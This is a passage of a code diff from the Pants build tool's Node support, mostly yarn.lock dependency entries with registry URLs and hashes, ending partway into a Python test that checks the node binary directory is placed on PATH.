\"https://registry.yarnpkg.com/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz#1296a2d58fd45f19a0f6ce01d65701e2c735b6eb\"\n+\n+json3@3.3.2:\n+ version \"3.3.2\"\n+ resolved \"https://registry.yarnpkg.com/json3/-/json3-3.3.2.tgz#3c0434743df93e2f5c42aee7b19bcb483575f4e1\"\n+\n+json5@^0.5.0:\n+ version \"0.5.1\"\n+ resolved \"https://registry.yarnpkg.com/json5/-/json5-0.5.1.tgz#1eade7acc012034ad84e2396767ead9fa5495821\"\n+\n+jsonify@~0.0.0:\n+ version \"0.0.0\"\n+ resolved \"https://registry.yarnpkg.com/jsonify/-/jsonify-0.0.0.tgz#2c74b6ee41d93ca51b7b5aaee8f503631d252a73\"\n+\n+jsprim@^1.2.2:\n+ version \"1.4.0\"\n+ resolved \"https://registry.yarnpkg.com/jsprim/-/jsprim-1.4.0.tgz#a3b87e40298d8c380552d8cc7628a0bb95a22918\"\n+ dependencies:\n+ assert-plus \"1.0.0\"\n+ extsprintf \"1.0.2\"\n+ json-schema \"0.2.3\"\n+ verror \"1.3.6\"\n+\n+kind-of@^3.0.2:\n+ version \"3.1.0\"\n+ resolved \"https://registry.yarnpkg.com/kind-of/-/kind-of-3.1.0.tgz#475d698a5e49ff5e53d14e3e732429dc8bf4cf47\"\n+ dependencies:\n+ is-buffer \"^1.0.2\"\n+\n+lodash._baseassign@^3.0.0:\n+ version \"3.2.0\"\n+ resolved \"https://registry.yarnpkg.com/lodash._baseassign/-/lodash._baseassign-3.2.0.tgz#8c38a099500f215ad09e59f1722fd0c52bfe0a4e\"\n+ dependencies:\n+ lodash._basecopy \"^3.0.0\"\n+ lodash.keys \"^3.0.0\"\n+\n+lodash._basecopy@^3.0.0:\n+ version \"3.0.1\"\n+ resolved \"https://registry.yarnpkg.com/lodash._basecopy/-/lodash._basecopy-3.0.1.tgz#8da0e6a876cf344c0ad8a54882111dd3c5c7ca36\"\n+\n+lodash._basecreate@^3.0.0:\n+ version \"3.0.3\"\n+ resolved \"https://registry.yarnpkg.com/lodash._basecreate/-/lodash._basecreate-3.0.3.tgz#1bc661614daa7fc311b7d03bf16806a0213cf821\"\n+\n+lodash._getnative@^3.0.0:\n+ version \"3.9.1\"\n+ resolved \"https://registry.yarnpkg.com/lodash._getnative/-/lodash._getnative-3.9.1.tgz#570bc7dede46d61cdcde687d65d3eecbaa3aaff5\"\n+\n+lodash._isiterateecall@^3.0.0:\n+ version \"3.0.9\"\n+ resolved \"https://registry.yarnpkg.com/lodash._isiterateecall/-/lodash._isiterateecall-3.0.9.tgz#5203ad7ba425fae842460e696db9cf3e6aac057c\"\n+\n+lodash.create@3.1.1:\n+ version \"3.1.1\"\n+ resolved \"https://registry.yarnpkg.com/lodash.create/-/lodash.create-3.1.1.tgz#d7f2849f0dbda7e04682bb8cd72ab022461debe7\"\n+ dependencies:\n+ lodash._baseassign \"^3.0.0\"\n+ lodash._basecreate \"^3.0.0\"\n+ lodash._isiterateecall \"^3.0.0\"\n+\n+lodash.isarguments@^3.0.0:\n+ version \"3.1.0\"\n+ resolved \"https://registry.yarnpkg.com/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz#2f573d85c6a24289ff00663b491c1d338ff3458a\"\n+\n+lodash.isarray@^3.0.0:\n+ version \"3.0.4\"\n+ resolved \"https://registry.yarnpkg.com/lodash.isarray/-/lodash.isarray-3.0.4.tgz#79e4eb88c36a8122af86f844aa9bcd851b5fbb55\"\n+\n+lodash.keys@^3.0.0:\n+ version \"3.1.2\"\n+ resolved \"https://registry.yarnpkg.com/lodash.keys/-/lodash.keys-3.1.2.tgz#4dbc0472b156be50a0b286855d1bd0b0c656098a\"\n+ dependencies:\n+ lodash._getnative \"^3.0.0\"\n+ lodash.isarguments \"^3.0.0\"\n+ lodash.isarray \"^3.0.0\"\n+\n+lodash@^4.2.0:\n+ version \"4.17.4\"\n+ resolved \"https://registry.yarnpkg.com/lodash/-/lodash-4.17.4.tgz#78203a4d1c328ae1d86dca6460e369b57f4055ae\"\n+\n+loose-envify@^1.0.0:\n+ version \"1.3.1\"\n+ resolved \"https://registry.yarnpkg.com/loose-envify/-/loose-envify-1.3.1.tgz#d1a8ad33fa9ce0e713d65fdd0ac8b748d478c848\"\n+ dependencies:\n+ js-tokens \"^3.0.0\"\n+\n+lru-cache@^4.0.1:\n+ version \"4.0.2\"\n+ resolved \"https://registry.yarnpkg.com/lru-cache/-/lru-cache-4.0.2.tgz#1d17679c069cda5d040991a09dbc2c0db377e55e\"\n+ dependencies:\n+ pseudomap \"^1.0.1\"\n+ yallist \"^2.0.0\"\n+\n+micromatch@^2.1.5:\n+ version \"2.3.11\"\n+ resolved \"https://registry.yarnpkg.com/micromatch/-/micromatch-2.3.11.tgz#86677c97d1720b363431d04d0d15293bd38c1565\"\n+ dependencies:\n+ arr-diff \"^2.0.0\"\n+ array-unique \"^0.2.1\"\n+ braces \"^1.8.2\"\n+ expand-brackets \"^0.1.4\"\n+ extglob \"^0.3.1\"\n+ filename-regex \"^2.0.0\"\n+ is-extglob \"^1.0.0\"\n+ is-glob \"^2.0.1\"\n+ kind-of \"^3.0.2\"\n+ normalize-path \"^2.0.1\"\n+ object.omit \"^2.0.0\"\n+ parse-glob \"^3.0.4\"\n+ regex-cache \"^0.4.2\"\n+\n+mime-db@~1.27.0:\n+ version \"1.27.0\"\n+ resolved \"https://registry.yarnpkg.com/mime-db/-/mime-db-1.27.0.tgz#820f572296bbd20ec25ed55e5b5de869e5436eb1\"\n+\n+mime-types@^2.1.12, mime-types@~2.1.7:\n+ version \"2.1.15\"\n+ resolved \"https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.15.tgz#a4ebf5064094569237b8cf70046776d09fc92aed\"\n+ dependencies:\n+ mime-db \"~1.27.0\"\n+\n+minimatch@^3.0.0, minimatch@^3.0.2:\n+ version \"3.0.3\"\n+ resolved \"https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.3.tgz#2a4e4090b96b2db06a9d7df01055a62a77c9b774\"\n+ dependencies:\n+ brace-expansion \"^1.0.0\"\n+\n+minimist@0.0.8:\n+ version \"0.0.8\"\n+ resolved \"https://registry.yarnpkg.com/minimist/-/minimist-0.0.8.tgz#857fcabfc3397d2625b8228262e86aa7a011b05d\"\n+\n+minimist@^1.2.0:\n+ version \"1.2.0\"\n+ resolved \"https://registry.yarnpkg.com/minimist/-/minimist-1.2.0.tgz#a35008b20f41383eec1fb914f4cd5df79a264284\"\n+\n+mkdirp@0.5.1, \"mkdirp@>=0.5 0\", mkdirp@^0.5.1:\n+ version \"0.5.1\"\n+ resolved \"https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.1.tgz#30057438eac6cf7f8c4767f38648d6697d75c903\"\n+ dependencies:\n+ minimist \"0.0.8\"\n+\n+mocha@^3.2.0:\n+ version \"3.2.0\"\n+ resolved \"https://registry.yarnpkg.com/mocha/-/mocha-3.2.0.tgz#7dc4f45e5088075171a68896814e6ae9eb7a85e3\"\n+ dependencies:\n+ browser-stdout \"1.3.0\"\n+ commander \"2.9.0\"\n+ debug \"2.2.0\"\n+ diff \"1.4.0\"\n+ escape-string-regexp \"1.0.5\"\n+ glob \"7.0.5\"\n+ growl \"1.9.2\"\n+ json3 \"3.3.2\"\n+ lodash.create \"3.1.1\"\n+ mkdirp \"0.5.1\"\n+ supports-color \"3.1.2\"\n+\n+ms@0.7.1:\n+ version \"0.7.1\"\n+ resolved \"https://registry.yarnpkg.com/ms/-/ms-0.7.1.tgz#9cd13c03adbff25b65effde7ce864ee952017098\"\n+\n+nan@^2.3.0:\n+ version \"2.6.2\"\n+ resolved \"https://registry.yarnpkg.com/nan/-/nan-2.6.2.tgz#e4ff34e6c95fdfb5aecc08de6596f43605a7db45\"\n+\n+node-pre-gyp@^0.6.29:\n+ version \"0.6.34\"\n+ resolved \"https://registry.yarnpkg.com/node-pre-gyp/-/node-pre-gyp-0.6.34.tgz#94ad1c798a11d7fc67381b50d47f8cc18d9799f7\"\n+ dependencies:\n+ mkdirp \"^0.5.1\"\n+ nopt \"^4.0.1\"\n+ npmlog \"^4.0.2\"\n+ rc \"^1.1.7\"\n+ request \"^2.81.0\"\n+ rimraf \"^2.6.1\"\n+ semver \"^5.3.0\"\n+ tar \"^2.2.1\"\n+ tar-pack \"^3.4.0\"\n+\n+node-version@^1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/node-version/-/node-version-1.0.0.tgz#1b9b9584a9a7f7a6123f215cd14a652bf21ab19e\"\n+\n+nopt@^4.0.1:\n+ version \"4.0.1\"\n+ resolved \"https://registry.yarnpkg.com/nopt/-/nopt-4.0.1.tgz#d0d4685afd5415193c8c7505602d0d17cd64474d\"\n+ dependencies:\n+ abbrev \"1\"\n+ osenv \"^0.1.4\"\n+\n+normalize-path@^2.0.1:\n+ version \"2.1.1\"\n+ resolved \"https://registry.yarnpkg.com/normalize-path/-/normalize-path-2.1.1.tgz#1ab28b556e198363a8c1a6f7e6fa20137fe6aed9\"\n+ dependencies:\n+ remove-trailing-separator \"^1.0.1\"\n+\n+npmlog@^4.0.2:\n+ version \"4.0.2\"\n+ resolved \"https://registry.yarnpkg.com/npmlog/-/npmlog-4.0.2.tgz#d03950e0e78ce1527ba26d2a7592e9348ac3e75f\"\n+ dependencies:\n+ are-we-there-yet \"~1.1.2\"\n+ console-control-strings \"~1.1.0\"\n+ gauge \"~2.7.1\"\n+ set-blocking \"~2.0.0\"\n+\n+number-is-nan@^1.0.0:\n+ version \"1.0.1\"\n+ resolved \"https://registry.yarnpkg.com/number-is-nan/-/number-is-nan-1.0.1.tgz#097b602b53422a522c1afb8790318336941a011d\"\n+\n+oauth-sign@~0.8.1:\n+ version \"0.8.2\"\n+ resolved \"https://registry.yarnpkg.com/oauth-sign/-/oauth-sign-0.8.2.tgz#46a6ab7f0aead8deae9ec0565780b7d4efeb9d43\"\n+\n+object-assign@^4.1.0:\n+ version \"4.1.1\"\n+ resolved \"https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863\"\n+\n+object.omit@^2.0.0:\n+ version \"2.0.1\"\n+ resolved \"https://registry.yarnpkg.com/object.omit/-/object.omit-2.0.1.tgz#1a9c744829f39dbb858c76ca3579ae2a54ebd1fa\"\n+ dependencies:\n+ for-own \"^0.1.4\"\n+ is-extendable \"^0.1.1\"\n+\n+once@^1.3.0, once@^1.3.3:\n+ version \"1.4.0\"\n+ resolved \"https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1\"\n+ dependencies:\n+ wrappy \"1\"\n+\n+os-homedir@^1.0.0:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/os-homedir/-/os-homedir-1.0.2.tgz#ffbc4988336e0e833de0c168c7ef152121aa7fb3\"\n+\n+os-tmpdir@^1.0.0, os-tmpdir@^1.0.1:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274\"\n+\n+osenv@^0.1.4:\n+ version \"0.1.4\"\n+ resolved \"https://registry.yarnpkg.com/osenv/-/osenv-0.1.4.tgz#42fe6d5953df06c8064be6f176c3d05aaaa34644\"\n+ dependencies:\n+ os-homedir \"^1.0.0\"\n+ os-tmpdir \"^1.0.0\"\n+\n+output-file-sync@^1.1.0:\n+ version \"1.1.2\"\n+ resolved \"https://registry.yarnpkg.com/output-file-sync/-/output-file-sync-1.1.2.tgz#d0a33eefe61a205facb90092e826598d5245ce76\"\n+ dependencies:\n+ graceful-fs \"^4.1.4\"\n+ mkdirp \"^0.5.1\"\n+ object-assign \"^4.1.0\"\n+\n+parse-glob@^3.0.4:\n+ version \"3.0.4\"\n+ resolved \"https://registry.yarnpkg.com/parse-glob/-/parse-glob-3.0.4.tgz#b2c376cfb11f35513badd173ef0bb6e3a388391c\"\n+ dependencies:\n+ glob-base \"^0.3.0\"\n+ is-dotfile \"^1.0.0\"\n+ is-extglob \"^1.0.0\"\n+ is-glob \"^2.0.0\"\n+\n+path-is-absolute@^1.0.0:\n+ version \"1.0.1\"\n+ resolved \"https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f\"\n+\n+performance-now@^0.2.0:\n+ version \"0.2.0\"\n+ resolved \"https://registry.yarnpkg.com/performance-now/-/performance-now-0.2.0.tgz#33ef30c5c77d4ea21c5a53869d91b56d8f2555e5\"\n+\n+preserve@^0.2.0:\n+ version \"0.2.0\"\n+ resolved \"https://registry.yarnpkg.com/preserve/-/preserve-0.2.0.tgz#815ed1f6ebc65926f865b310c0713bcb3315ce4b\"\n+\n+private@^0.1.6:\n+ version \"0.1.7\"\n+ resolved \"https://registry.yarnpkg.com/private/-/private-0.1.7.tgz#68ce5e8a1ef0a23bb570cc28537b5332aba63ef1\"\n+\n+process-nextick-args@~1.0.6:\n+ version \"1.0.7\"\n+ resolved \"https://registry.yarnpkg.com/process-nextick-args/-/process-nextick-args-1.0.7.tgz#150e20b756590ad3f91093f25a4f2ad8bff30ba3\"\n+\n+promise-polyfill@^6.0.1:\n+ version \"6.0.2\"\n+ resolved \"https://registry.yarnpkg.com/promise-polyfill/-/promise-polyfill-6.0.2.tgz#d9c86d3dc4dc2df9016e88946defd69b49b41162\"\n+\n+pseudomap@^1.0.1:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/pseudomap/-/pseudomap-1.0.2.tgz#f052a28da70e618917ef0a8ac34c1ae5a68286b3\"\n+\n+punycode@^1.4.1:\n+ version \"1.4.1\"\n+ resolved \"https://registry.yarnpkg.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e\"\n+\n+qs@~6.4.0:\n+ version \"6.4.0\"\n+ resolved \"https://registry.yarnpkg.com/qs/-/qs-6.4.0.tgz#13e26d28ad6b0ffaa91312cd3bf708ed351e7233\"\n+\n+randomatic@^1.1.3:\n+ version \"1.1.6\"\n+ resolved \"https://registry.yarnpkg.com/randomatic/-/randomatic-1.1.6.tgz#110dcabff397e9dcff7c0789ccc0a49adf1ec5bb\"\n+ dependencies:\n+ is-number \"^2.0.2\"\n+ kind-of \"^3.0.2\"\n+\n+rc@^1.1.7:\n+ version \"1.2.1\"\n+ resolved \"https://registry.yarnpkg.com/rc/-/rc-1.2.1.tgz#2e03e8e42ee450b8cb3dce65be1bf8974e1dfd95\"\n+ dependencies:\n+ deep-extend \"~0.4.0\"\n+ ini \"~1.3.0\"\n+ minimist \"^1.2.0\"\n+ strip-json-comments \"~2.0.1\"\n+\n+\"readable-stream@^2.0.0 || ^1.1.13\", readable-stream@^2.0.2, readable-stream@^2.1.4:\n+ version \"2.2.9\"\n+ resolved \"https://registry.yarnpkg.com/readable-stream/-/readable-stream-2.2.9.tgz#cf78ec6f4a6d1eb43d26488cac97f042e74b7fc8\"\n+ dependencies:\n+ buffer-shims \"~1.0.0\"\n+ core-util-is \"~1.0.0\"\n+ inherits \"~2.0.1\"\n+ isarray \"~1.0.0\"\n+ process-nextick-args \"~1.0.6\"\n+ string_decoder \"~1.0.0\"\n+ util-deprecate \"~1.0.1\"\n+\n+readdirp@^2.0.0:\n+ version \"2.1.0\"\n+ resolved \"https://registry.yarnpkg.com/readdirp/-/readdirp-2.1.0.tgz#4ed0ad060df3073300c48440373f72d1cc642d78\"\n+ dependencies:\n+ graceful-fs \"^4.1.2\"\n+ minimatch \"^3.0.2\"\n+ readable-stream \"^2.0.2\"\n+ set-immediate-shim \"^1.0.1\"\n+\n+regenerate@^1.2.1:\n+ version \"1.3.2\"\n+ resolved \"https://registry.yarnpkg.com/regenerate/-/regenerate-1.3.2.tgz#d1941c67bad437e1be76433add5b385f95b19260\"\n+\n+regenerator-runtime@^0.10.0:\n+ version \"0.10.3\"\n+ resolved \"https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.10.3.tgz#8c4367a904b51ea62a908ac310bf99ff90a82a3e\"\n+\n+regenerator-transform@0.9.11:\n+ version \"0.9.11\"\n+ resolved \"https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.9.11.tgz#3a7d067520cb7b7176769eb5ff868691befe1283\"\n+ dependencies:\n+ babel-runtime \"^6.18.0\"\n+ babel-types \"^6.19.0\"\n+ private \"^0.1.6\"\n+\n+regex-cache@^0.4.2:\n+ version \"0.4.3\"\n+ resolved \"https://registry.yarnpkg.com/regex-cache/-/regex-cache-0.4.3.tgz#9b1a6c35d4d0dfcef5711ae651e8e9d3d7114145\"\n+ dependencies:\n+ is-equal-shallow \"^0.1.3\"\n+ is-primitive \"^2.0.0\"\n+\n+regexpu-core@^2.0.0:\n+ version \"2.0.0\"\n+ resolved \"https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-2.0.0.tgz#49d038837b8dcf8bfa5b9a42139938e6ea2ae240\"\n+ dependencies:\n+ regenerate \"^1.2.1\"\n+ regjsgen \"^0.2.0\"\n+ regjsparser \"^0.1.4\"\n+\n+regjsgen@^0.2.0:\n+ version \"0.2.0\"\n+ resolved \"https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.2.0.tgz#6c016adeac554f75823fe37ac05b92d5a4edb1f7\"\n+\n+regjsparser@^0.1.4:\n+ version \"0.1.5\"\n+ resolved \"https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.1.5.tgz#7ee8f84dc6fa792d3fd0ae228d24bd949ead205c\"\n+ dependencies:\n+ jsesc \"~0.5.0\"\n+\n+remove-trailing-separator@^1.0.1:\n+ version \"1.0.1\"\n+ resolved \"https://registry.yarnpkg.com/remove-trailing-separator/-/remove-trailing-separator-1.0.1.tgz#615ebb96af559552d4bf4057c8436d486ab63cc4\"\n+\n+repeat-element@^1.1.2:\n+ version \"1.1.2\"\n+ resolved \"https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.2.tgz#ef089a178d1483baae4d93eb98b4f9e4e11d990a\"\n+\n+repeat-string@^1.5.2:\n+ version \"1.6.1\"\n+ resolved \"https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637\"\n+\n+repeating@^2.0.0:\n+ version \"2.0.1\"\n+ resolved \"https://registry.yarnpkg.com/repeating/-/repeating-2.0.1.tgz#5214c53a926d3552707527fbab415dbc08d06dda\"\n+ dependencies:\n+ is-finite \"^1.0.0\"\n+\n+request@^2.81.0:\n+ version \"2.81.0\"\n+ resolved \"https://registry.yarnpkg.com/request/-/request-2.81.0.tgz#c6928946a0e06c5f8d6f8a9333469ffda46298a0\"\n+ dependencies:\n+ aws-sign2 \"~0.6.0\"\n+ aws4 \"^1.2.1\"\n+ caseless \"~0.12.0\"\n+ combined-stream \"~1.0.5\"\n+ extend \"~3.0.0\"\n+ forever-agent \"~0.6.1\"\n+ form-data \"~2.1.1\"\n+ har-validator \"~4.2.1\"\n+ hawk \"~3.1.3\"\n+ http-signature \"~1.1.0\"\n+ is-typedarray \"~1.0.0\"\n+ isstream \"~0.1.2\"\n+ json-stringify-safe \"~5.0.1\"\n+ mime-types \"~2.1.7\"\n+ oauth-sign \"~0.8.1\"\n+ performance-now \"^0.2.0\"\n+ qs \"~6.4.0\"\n+ safe-buffer \"^5.0.1\"\n+ stringstream \"~0.0.4\"\n+ tough-cookie \"~2.3.0\"\n+ tunnel-agent \"^0.6.0\"\n+ uuid \"^3.0.0\"\n+\n+rimraf@2, rimraf@^2.5.1, rimraf@^2.6.1:\n+ version \"2.6.1\"\n+ resolved \"https://registry.yarnpkg.com/rimraf/-/rimraf-2.6.1.tgz#c2338ec643df7a1b7fe5c54fa86f57428a55f33d\"\n+ dependencies:\n+ glob \"^7.0.5\"\n+\n+safe-buffer@^5.0.1:\n+ version \"5.0.1\"\n+ resolved \"https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.0.1.tgz#d263ca54696cd8a306b5ca6551e92de57918fbe7\"\n+\n+semver@^5.3.0:\n+ version \"5.3.0\"\n+ resolved \"https://registry.yarnpkg.com/semver/-/semver-5.3.0.tgz#9b2ce5d3de02d17c6012ad326aa6b4d0cf54f94f\"\n+\n+set-blocking@~2.0.0:\n+ version \"2.0.0\"\n+ resolved \"https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7\"\n+\n+set-immediate-shim@^1.0.1:\n+ version \"1.0.1\"\n+ resolved \"https://registry.yarnpkg.com/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz#4b2b1b27eb808a9f8dcc481a58e5e56f599f3f61\"\n+\n+signal-exit@^3.0.0:\n+ version \"3.0.2\"\n+ resolved \"https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.2.tgz#b5fdc08f1287ea1178628e415e25132b73646c6d\"\n+\n+slash@^1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/slash/-/slash-1.0.0.tgz#c41f2f6c39fc16d1cd17ad4b5d896114ae470d55\"\n+\n+sntp@1.x.x:\n+ version \"1.0.9\"\n+ resolved \"https://registry.yarnpkg.com/sntp/-/sntp-1.0.9.tgz#6541184cc90aeea6c6e7b35e2659082443c66198\"\n+ dependencies:\n+ hoek \"2.x.x\"\n+\n+source-map-support@^0.4.2:\n+ version \"0.4.14\"\n+ resolved \"https://registry.yarnpkg.com/source-map-support/-/source-map-support-0.4.14.tgz#9d4463772598b86271b4f523f6c1f4e02a7d6aef\"\n+ dependencies:\n+ source-map \"^0.5.6\"\n+\n+source-map@^0.5.0, source-map@^0.5.6:\n+ version \"0.5.6\"\n+ resolved \"https://registry.yarnpkg.com/source-map/-/source-map-0.5.6.tgz#75ce38f52bf0733c5a7f0c118d81334a2bb5f412\"\n+\n+sshpk@^1.7.0:\n+ version \"1.13.0\"\n+ resolved \"https://registry.yarnpkg.com/sshpk/-/sshpk-1.13.0.tgz#ff2a3e4fd04497555fed97b39a0fd82fafb3a33c\"\n+ dependencies:\n+ asn1 \"~0.2.3\"\n+ assert-plus \"^1.0.0\"\n+ dashdash \"^1.12.0\"\n+ getpass \"^0.1.1\"\n+ optionalDependencies:\n+ bcrypt-pbkdf \"^1.0.0\"\n+ ecc-jsbn \"~0.1.1\"\n+ jodid25519 \"^1.0.0\"\n+ jsbn \"~0.1.0\"\n+ tweetnacl \"~0.14.0\"\n+\n+string-width@^1.0.1:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/string-width/-/string-width-1.0.2.tgz#118bdf5b8cdc51a2a7e70d211e07e2b0b9b107d3\"\n+ dependencies:\n+ code-point-at \"^1.0.0\"\n+ is-fullwidth-code-point \"^1.0.0\"\n+ strip-ansi \"^3.0.0\"\n+\n+string_decoder@~1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.0.0.tgz#f06f41157b664d86069f84bdbdc9b0d8ab281667\"\n+ dependencies:\n+ buffer-shims \"~1.0.0\"\n+\n+stringstream@~0.0.4:\n+ version \"0.0.5\"\n+ resolved \"https://registry.yarnpkg.com/stringstream/-/stringstream-0.0.5.tgz#4e484cd4de5a0bbbee18e46307710a8a81621878\"\n+\n+strip-ansi@^3.0.0, strip-ansi@^3.0.1:\n+ version \"3.0.1\"\n+ resolved \"https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf\"\n+ dependencies:\n+ ansi-regex \"^2.0.0\"\n+\n+strip-json-comments@~2.0.1:\n+ version \"2.0.1\"\n+ resolved \"https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-2.0.1.tgz#3c531942e908c2697c0ec344858c286c7ca0a60a\"\n+\n+supports-color@3.1.2:\n+ version \"3.1.2\"\n+ resolved \"https://registry.yarnpkg.com/supports-color/-/supports-color-3.1.2.tgz#72a262894d9d408b956ca05ff37b2ed8a6e2a2d5\"\n+ dependencies:\n+ has-flag \"^1.0.0\"\n+\n+supports-color@^2.0.0:\n+ version \"2.0.0\"\n+ resolved \"https://registry.yarnpkg.com/supports-color/-/supports-color-2.0.0.tgz#535d045ce6b6363fa40117084629995e9df324c7\"\n+\n+tar-pack@^3.4.0:\n+ version \"3.4.0\"\n+ resolved \"https://registry.yarnpkg.com/tar-pack/-/tar-pack-3.4.0.tgz#23be2d7f671a8339376cbdb0b8fe3fdebf317984\"\n+ dependencies:\n+ debug \"^2.2.0\"\n+ fstream \"^1.0.10\"\n+ fstream-ignore \"^1.0.5\"\n+ once \"^1.3.3\"\n+ readable-stream \"^2.1.4\"\n+ rimraf \"^2.5.1\"\n+ tar \"^2.2.1\"\n+ uid-number \"^0.0.6\"\n+\n+tar@^2.2.1:\n+ version \"2.2.1\"\n+ resolved \"https://registry.yarnpkg.com/tar/-/tar-2.2.1.tgz#8e4d2a256c0e2185c6b18ad694aec968b83cb1d1\"\n+ dependencies:\n+ block-stream \"*\"\n+ fstream \"^1.0.2\"\n+ inherits \"2\"\n+\n+to-fast-properties@^1.0.1:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-1.0.2.tgz#f3f5c0c3ba7299a7ef99427e44633257ade43320\"\n+\n+tough-cookie@~2.3.0:\n+ version \"2.3.2\"\n+ resolved \"https://registry.yarnpkg.com/tough-cookie/-/tough-cookie-2.3.2.tgz#f081f76e4c85720e6c37a5faced737150d84072a\"\n+ dependencies:\n+ punycode \"^1.4.1\"\n+\n+trim-right@^1.0.1:\n+ version \"1.0.1\"\n+ resolved \"https://registry.yarnpkg.com/trim-right/-/trim-right-1.0.1.tgz#cb2e1203067e0c8de1f614094b9fe45704ea6003\"\n+\n+tunnel-agent@^0.6.0:\n+ version \"0.6.0\"\n+ resolved \"https://registry.yarnpkg.com/tunnel-agent/-/tunnel-agent-0.6.0.tgz#27a5dea06b36b04a0a9966774b290868f0fc40fd\"\n+ dependencies:\n+ safe-buffer \"^5.0.1\"\n+\n+tweetnacl@^0.14.3, tweetnacl@~0.14.0:\n+ version \"0.14.5\"\n+ resolved \"https://registry.yarnpkg.com/tweetnacl/-/tweetnacl-0.14.5.tgz#5ae68177f192d4456269d108afa93ff8743f4f64\"\n+\n+uid-number@^0.0.6:\n+ version \"0.0.6\"\n+ resolved \"https://registry.yarnpkg.com/uid-number/-/uid-number-0.0.6.tgz#0ea10e8035e8eb5b8e4449f06da1c730663baa81\"\n+\n+user-home@^1.1.1:\n+ version \"1.1.1\"\n+ resolved \"https://registry.yarnpkg.com/user-home/-/user-home-1.1.1.tgz#2b5be23a32b63a7c9deb8d0f28d485724a3df190\"\n+\n+util-deprecate@~1.0.1:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf\"\n+\n+uuid@^3.0.0:\n+ version \"3.0.1\"\n+ resolved \"https://registry.yarnpkg.com/uuid/-/uuid-3.0.1.tgz#6544bba2dfda8c1cf17e629a3a305e2bb1fee6c1\"\n+\n+v8flags@^2.0.10:\n+ version \"2.0.12\"\n+ resolved \"https://registry.yarnpkg.com/v8flags/-/v8flags-2.0.12.tgz#73235d9f7176f8e8833fb286795445f7938d84e5\"\n+ dependencies:\n+ user-home \"^1.1.1\"\n+\n+verror@1.3.6:\n+ version \"1.3.6\"\n+ resolved \"https://registry.yarnpkg.com/verror/-/verror-1.3.6.tgz#cff5df12946d297d2baaefaa2689e25be01c005c\"\n+ dependencies:\n+ extsprintf \"1.0.2\"\n+\n+which@^1.2.9:\n+ version \"1.2.14\"\n+ resolved \"https://registry.yarnpkg.com/which/-/which-1.2.14.tgz#9a87c4378f03e827cecaf1acdf56c736c01c14e5\"\n+ dependencies:\n+ isexe \"^2.0.0\"\n+\n+wide-align@^1.1.0:\n+ version \"1.1.0\"\n+ resolved \"https://registry.yarnpkg.com/wide-align/-/wide-align-1.1.0.tgz#40edde802a71fea1f070da3e62dcda2e7add96ad\"\n+ dependencies:\n+ string-width \"^1.0.1\"\n+\n+wrappy@1:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f\"\n+\n+yallist@^2.0.0:\n+ version \"2.1.2\"\n+ resolved \"https://registry.yarnpkg.com/yallist/-/yallist-2.1.2.tgz#1c11f9218f076089a47dd512f93c6699a6a81d52\"\ndiff --git a/contrib/node/tests/python/pants_test/contrib/node/subsystems/test_node_distribution.py b/contrib/node/tests/python/pants_test/contrib/node/subsystems/test_node_distribution.py\nindex 8a9a57193..aed5d03e6 100644\n--- a/contrib/node/tests/python/pants_test/contrib/node/subsystems/test_node_distribution.py\n+++ b/contrib/node/tests/python/pants_test/contrib/node/subsystems/test_node_distribution.py\n@@ -57,16 +57,31 @@ def test_yarnpkg(self):\n yarnpkg_versions = json.loads(yarnpkg_versions_command.check_output())\n self.assertEqual(yarnpkg_version, yarnpkg_versions['data']['yarn'])\n \n- def test_bin_dir_on_path(self):\n- node_cmd = self.distribution.node_command(args=['--eval', 'console.log(process.env[\"PATH\"])'])\n+ def test_node_command_path_injection(self):\n+ node_bin_path = self.distribution.install_node()\n+ node_path_cmd = self.distribution.node_command(\n+ args=['--eval', 'console.log(process.env[\"PATH\"])'])\n \n # Test the case in which we do not pass in env,\n # which should fall back to env=os.environ.copy()\n- output = node_cmd.check_output().strip()\n- 